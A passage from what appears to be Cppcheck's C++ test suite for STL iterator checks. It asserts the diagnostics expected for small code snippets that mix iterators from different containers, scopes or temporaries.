++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" while (it2 != it1)\\n\"\n \" {\\n\"\n \" ++it2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set l1;\\n\"\n \" std::set l2(10, 4);\\n\"\n \" std::set::iterator it1 = l1.begin();\\n\"\n \" std::set::iterator it2 = l2.find(4);\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator17() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \" it2 = l2.end();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" it1 = l2.end();\\n\"\n \" it1 = l1.end();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator18() {\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (++it1 != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1++ != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" if (--it2 > it1++)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:15]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void iterator19() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (it1 != l1.end())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:7:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (l1.end() > it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:7] -> [test.cpp:4]: (error) Same iterator is used with containers 'l1' that are defined in different scopes.\\n\",\n \"[test.cpp:7:19] -> [test.cpp:7:13]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\"\n \"[test.cpp:7:22]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:7:40]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set g() {\\n\"\n \" static const std::set s = {1};\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g().find(2) == g().end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:17] -> [test.cpp:6:10]: (error) Same iterator is used with containers 'g()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set f() {\\n\" // #5804\n \" std::set s;\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" for (std::set::iterator it = f().begin(); it != f().end(); ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:53] -> [test.cpp:6:41]: (error) Same iterator is used with containers 'f()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n }\n\n void iterator20() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = it2;\\n\"\n \" while (it1 != l1.end())\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::list l3;\\n\"\n \"std::list::iterator bar()\\n\"\n \"{\\n\"\n \" return l3.end();\\n\"\n \"}\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = bar();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:13] -> [test.cpp:10] -> [test.cpp:11]: (error) Comparison of iterators from containers 'l1' and 'l2'.\\n\", \"\", errout_str());\n\n }\n\n void iterator21() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2 && it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\", // duplicate\n errout_str());\n }\n\n void iterator22() { // #7107\n check(\"void foo() {\\n\"\n \" std::list &l = x.l;\\n\"\n \" std::list::iterator it = l.find(123);\\n\"\n \" x.l.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator23() { // #9550\n check(\"struct A {\\n\"\n \" struct B {\\n\"\n \" bool operator==(const A::B& b) const;\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool A::B::operator==(const A::B& b) const {\\n\"\n \" return std::tie(x, y, z) == std::tie(b.x, b.y, b.z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator24() {\n // #9556\n check(\"void f(int a, int b) {\\n\"\n \" if (&a == &b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator25() {\n // #9742\n check(\"struct S {\\n\"\n \" std::vector& v;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" bool operator()(const S& lhs, const S& rhs) const {\\n\"\n \" return &lhs.v != &rhs.v;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator26() { // #9176\n check(\n \"#include \\n\"\n \"int main()\\n\"\n \"{\"\n \" std::map m{ {\\\"a\\\", 1} };\\n\"\n \" if (auto iter = m.find(\\\"x\\\"); iter != m.end()) {\\n\"\n \" return iter->second;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator27() {\n // #10378\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"int f(std::map m) {\\n\"\n \" auto it = m.find( 1 );\\n\"\n \" const int a( it == m.cend() ? 0 : it->second.a );\\n\"\n \" const int b( it == m.cend() ? 0 : it->second.b );\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator28()\n {\n // #10450\n check(\"struct S {\\n\"\n \" struct Private {\\n\"\n \" std::list l;\\n\"\n \" };\\n\"\n \" std::unique_ptr p;\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int S::foo() {\\n\"\n \" for(auto iter = p->l.begin(); iter != p->l.end(); ++iter) {\\n\"\n \" if(*iter == 1) {\\n\"\n \" p->l.erase(iter);\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:24]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void iterator29()\n {\n // #11511\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto v = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g()' is used with container 'v'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g(int);\\n\"\n \"void f(int i, int j) {\\n\"\n \" auto& r = g(i);\\n\"\n \" auto it = g(j).begin();\\n\"\n \" while (it != g(j).end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g(j)' is used with container 'r'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto& r = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator30()\n {\n check(\"struct S {\\n\" // #12641\n \" bool b;\\n\"\n \" std::list A, B;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::list::iterator i = (b ? B : A).begin();\\n\"\n \" while (i != (b ? B : A).end()) {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator31()\n {\n check(\"struct S {\\n\" // #13327\n \" std::string a;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \"};\\n\"\n \"bool f(const S& s) {\\n\"\n \" std::string b;\\n\"\n \" return s.a.c_str() == b.c_str();\\n\"\n \"}\\n\"\n \"bool g(const T& t) {\\n\"\n \" std::string b;\\n\"\n \" return t.s.a.c_str() == b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:13]: (error) Iterators of different containers 's.a' and 'b' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:13:15]: (error) Iterators of different containers 't.s.a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iteratorExpression() {\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(f().begin(), g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" auto size = f().end() - g().begin();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:26]: (error) Iterators of different containers 'A().f()' and 'A().g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A{} .f().begin(), A{} .g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:27]: (error) Iterators of different containers 'A{}.f()' and 'A{}.g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(begin(f()), end(g()), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:28]: (warning) Iterators to containers from different expressions 'f()' and 'g()' are used together. [mismatchingContainerExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().f().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(bar(f().begin()) == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" auto it = f().end() - 1;\\n\"\n \" f().begin() - it;\\n\"\n \" f().begin()+1 - it;\\n\"\n \" f().begin() - (it + 1);\\n\"\n \" f().begin() - f().end();\\n\"\n \" f().begin()+1 - f().end();\\n\"\n \" f().begin() - (f().end() + 1);\\n\"\n \" (void)std::find(f().begin(), it, 0);\\n\"\n \" (void)std::find(f().begin(), it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it, 0);\\n\"\n \" (void)std::find(f().begin(), f().end(), 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end(), 0);\\n\"\n \" (void)std::find(f().begin(), f().end() - 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end() - 1, 0);\\n\"\n \" (void)std::find(begin(f()), end(f()));\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()), 0);\\n\"\n \" (void)std::find(begin(f()), end(f()) - 1, 0);\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()) - 1, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:30]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == f().end()) {}\\n\"\n \" if(f().begin() == f().end()+1) {}\\n\"\n \" if(f().begin()+1 == f().end()) {}\\n\"\n \" if(f().begin()+1 == f().end()+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:34]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(std::begin(f()) == std::end(f())) {}\\n\"\n \" if(std::begin(f()) == std::end(f())+1) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:42]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f<1>().begin() == f<1>().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a.begin().x == b.begin().x) {}\\n\"\n \" if (begin(a).x == begin(b).x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list a, std::list b) {\\n\"\n \" if (*a.begin() == *b.begin()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(f().begin(1) == f().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const uint8_t* data, const uint32_t dataLength) {\\n\"\n \" const uint32_t minimumLength = sizeof(uint16_t) + sizeof(uint16_t);\\n\"\n \" if (dataLength >= minimumLength) {\\n\"\n \" char* payload = new char[dataLength - minimumLength];\\n\"\n \" std::copy(&data[minimumLength], &data[dataLength], payload);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& a, const std::vector& b) {\\n\" // #11469\n \" return (a.begin() - a.end()) == (b.begin() - b.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11469\n \" const std::vector* vec() const { return &v; }\\n\"\n \" const std::vector v;\\n\"\n \"};\\n\"\n \"void f(const S& a, const S& b) {\\n\"\n \" if (a.vec()->begin() - a.vec()->end() != b.vec()->begin() - b.vec()->end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iteratorSameExpression() {\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.begin(), v.begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().begin(), g().begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.end(), v.end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().end(), g().end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector::iterator g();\\n\"\n \"void f(std::vector v) {\\n\"\n \" std::for_each(g(), g(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\"\n \" std::for_each(it, it, [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n }\n\n void mismatchingContainerIterator() {\n check(\"std::vector to_vector(int value) {\\n\"\n \" std::vector a, b;\\n\"\n \" a.insert(b.end(), value);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Iterator 'b.end()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector f(std::vector a, std::vector b) {\\n\"\n \" a.erase(b.begin());\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Iterator 'b.begin()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n // #9973\n check(\"void f() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list& l = l2;\\n\"\n \" for (auto it = l.begin(); it != l.end(); ++it) {\\n\"\n \" if (*it == 1) {\\n\"\n \" l.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #10012\n check(\"struct a {\\n\"\n \" int b;\\n\"\n \" int end() { return b; }\\n\"\n \"};\\n\"\n \"void f(a c, a d) {\\n\"\n \" if (c.end() == d.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10467\n check(\"void f(std::array, N>& A) {\\n\"\n \" for (auto& a : A) {\\n\"\n \" auto it = std::find_if(a.begin(), a.end(), \\n\"\n \" [](auto i) { return i == 0; });\\n\"\n \" if (it != a.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10604\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(S& s, int m) {\\n\"\n \" s.v.erase(s.v.begin() + m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11093\n check(\"struct S {\\n\"\n \" std::vector v1, v2;\\n\"\n \" void f(bool b) {\\n\"\n \" std::vector& v = b ? v1 : v2;\\n\"\n \" v.erase(v.begin());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12377\n check(\"void f(bool b) {\\n\"\n \" std::vector *pv;\\n\"\n \" if (b) {\\n\"\n \" std::vector& r = get1();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" std::vector& r = get2();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" std::vector::iterator it = pv->begin();\\n\"\n \" it = pv->erase(it, it + 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() {\\n\"\n \" std::vector* p = &v;\\n\"\n \" p->insert(std::find(p->begin(), p->end(), 0), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f(int i) {\\n\"\n \" std::vector* p = &v;\\n\"\n \" if (p->size() > i)\\n\"\n \" p->erase(p->begin() + i, p->end());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11067\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" std::list::const_iterator> li;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" v.erase(*li.begin());\\n\"\n \" li.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set& a, std::stack::iterator>& b) {\\n\"\n \" while (!b.empty()) {\\n\"\n \" a.erase(b.top());\\n\"\n \" b.pop();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& a, std::vector::iterator>& b) {\\n\"\n \" auto it = b.begin();\\n\"\n \" a.erase(*it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12443\n \" std::vector v;\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"void f() {\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it != N::v.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void* p) {\\n\" // #12445\n \" std::vector&v = *(std::vector*)(p);\\n\"\n \" v.erase(v.begin(), v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13408\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& i : v) {\\n\"\n \" if (std::distance(&*v.cbegin(), &i)) {}\\n\"\n \" } \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIteratorOutOfBounds() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: 